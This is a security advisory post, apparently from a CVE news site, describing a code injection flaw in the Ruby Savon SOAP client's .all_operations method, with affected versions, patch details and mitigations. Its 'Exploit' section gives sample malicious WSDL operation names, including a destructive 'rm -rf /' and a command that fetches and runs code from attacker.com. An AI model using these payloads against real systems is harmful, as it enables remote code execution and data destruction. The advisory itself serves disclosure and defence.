Listen to this Post
Savon is a widely used Ruby SOAP client that simplifies communication with SOAP web services. One of its key features is the `Savon::Model` module, which allows developers to define SOAP clients in a clean, object-oriented manner. The vulnerability arises specifically in the `.all_operations` class method provided by Savon::Model. When this method is invoked, it automatically retrieves all operation names defined in the target WSDL document and dynamically generates corresponding Ruby methods for each operation. To do this, Savon interpolates the raw operation name strings directly into Ruby source code and then passes that code to `module_eval` for execution. The critical flaw is that the operation names are taken directly from the WSDL without any sanitization or validation. An attacker who can control the WSDL document—either by hosting a malicious WSDL or by performing a man-in-the-middle attack—can craft operation names that contain arbitrary Ruby code. Because the operation names are interpolated into a string that is later evaluated by module_eval, the injected Ruby code will execute with the same privileges as the application process. This effectively allows remote code execution (RCE) with no authentication required. The attack complexity is considered high because the attacker must be able to control the WSDL operation names, but once that condition is met, the impact is total: full confidentiality, integrity, and availability compromise. The vulnerability affects all Savon versions from 0.9.8 up to, but not including, 2.17.2. Versions prior to 0.9.8 are not affected because they do not include the vulnerable `.all_operations` method. The issue was patched in Savon 2.17.2, where the interpolation logic was replaced with a safe method that no longer evaluates arbitrary strings. The security advisory was published on GitHub on June 10, 2026, and the CVE was officially published on July 31, 2026. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code). It is important to note that configuring `Savon::Model` with trusted operation names via the `.operations` method is safe and does not trigger the vulnerable code path. The `.all_operations` method should only be used with WSDL documents that are fully trusted. This vulnerability was discovered and responsibly disclosed by @connorshea, who provided a detailed proof of concept.
DailyCVE Form:
Platform: Savon (Ruby)
Version: 0.9.8–2.17.1
Vulnerability: Code Injection
Severity: High (CVSS 8.1)
Date: 2026-07-31
Prediction: 2026-08-15
What Undercode Say:
Analytics:
- Affected versions: >= 0.9.8, < 2.17.2
- Fixed version: 2.17.2
- CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- CWE: CWE-94
- Exploitation: none known in wild
- Automatable: no
- Technical Impact: total
- GitHub advisory: GHSA-mx5j-mp4f-g8jg
- Commit fix: 8f22eb543e7436f6247172c9be47e22792d375e9
- Release tag: v2.17.2
- Published: 2026-06-10 (advisory), 2026-07-31 (CVE)
- Discoverer: @connorshea
- Safe usage: .operations with trusted names
Bash commands:
Check installed Savon version gem list savon Update to patched version gem update savon -v 2.17.2 Or in Gemfile bundle update savon --version 2.17.2
Codes:
VULNERABLE: using .all_operations with untrusted WSDL class MyClient include Savon::Model client wsdl: "https://attacker.com/malicious.wsdl" all_operations <-- THIS IS UNSAFE end SAFE: using .operations with trusted names class MyClient include Savon::Model client wsdl: "https://trusted.com/service.wsdl" operations :get_user, :update_user <-- ONLY THESE ARE GENERATED end
Exploit:
An attacker crafts a malicious WSDL file containing operation names such as:
<operation name="`rm -rf /`">
or
<operation name="system('curl http://attacker.com/backdoor | ruby')">
When the victim’s application calls MyClient.all_operations, Savon interpolates these strings into Ruby code and passes them to module_eval, causing the injected commands to execute on the server. The attacker can achieve remote code execution with the privileges of the Ruby application process, leading to full system compromise.
Protection:
- Upgrade to Savon 2.17.2 or later immediately.
- If upgrading is not possible, avoid using `.all_operations` with any WSDL that is not strictly trusted.
- Instead, explicitly list allowed operation names using the `.operations` class method.
- Validate and sanitize all WSDL sources before processing.
- Use network-level controls to prevent man-in-the-middle attacks on WSDL retrieval (e.g., HTTPS with certificate pinning).
- Monitor application logs for unusual method generation or unexpected operation names.
- Consider using a Web Application Firewall (WAF) to detect and block malicious SOAP requests that might be part of an exploitation chain.
Impact:
Successful exploitation allows an unauthenticated remote attacker to execute arbitrary Ruby code on the target server. This can lead to:
– Confidentiality: Full disclosure of application data, environment variables, source code, and sensitive credentials.
– Integrity: Modification or deletion of data, injection of malicious content, and tampering with application logic.
– Availability: Denial of service by crashing the application process or consuming system resources.
– Lateral Movement: The attacker can use the compromised server as a pivot point to attack internal networks and other services.
– Persistence: The attacker can install backdoors, create new user accounts, or schedule malicious cron jobs.
Given that the vulnerability requires no authentication and can be triggered remotely, it poses a critical risk to any application that uses `Savon::Model.all_operations` with untrusted WSDL sources. The CVSS score of 8.1 (High) reflects the severe impact despite the high attack complexity.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
